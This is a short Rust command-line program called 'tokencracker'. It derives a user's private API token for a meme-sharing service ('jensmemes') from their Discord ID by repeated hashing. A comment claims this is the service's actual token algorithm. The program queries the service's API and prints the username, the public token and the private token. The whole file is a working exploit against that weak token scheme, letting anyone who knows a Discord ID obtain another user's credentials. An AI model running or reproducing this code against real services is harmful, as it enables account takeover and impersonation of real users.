use anyhow::Result;
use clap::{App, Arg};
use reqwest::{Client, Url};
use tokencracker::{api::{JensmemesUser, UserResponse}, hex_string_hash};

#[tokio::main]
async fn main() -> Result<()> {
    let http = Client::builder().build()?;

    let matches = App::new("tokencracker")
        .arg(
            Arg::with_name("discord_id")
                .index(1)
                .required(true)
                .help("The discord ID of the user whos token to crack."),
        )
        .get_matches();

    let id = matches.value_of("discord_id").unwrap();

    // yes, this is the actual jensmemes token algorythm
    let private = hex_string_hash(id);
    let public = hex_string_hash(&private);

    // get discord username from jensmemes API
    let response = http
        .get(Url::parse_with_params(
            "https://data.tilera.xyz/api/jensmemes/user",
            &[("id", &public)],
        )?)
        .send()
        .await?;

    let (username, userdir) =
        if let (200..=210, Ok(usr)) = (response.status().as_u16(), response.bytes().await) {
            let UserResponse { user: JensmemesUser {name, userdir, ..}, .. } = serde_json::from_slice::<UserResponse>(&usr)?;
            (name, userdir)
        } else {
            ("Not in Database".into(), public.clone())
        };

    println!(
        "Username:      {}
Public Token:  {}
Private Token: {}
User:          https://data.tilera.xyz/file/jensmemes/images/{}",
        username, public, private, userdir
    );

    Ok(())
}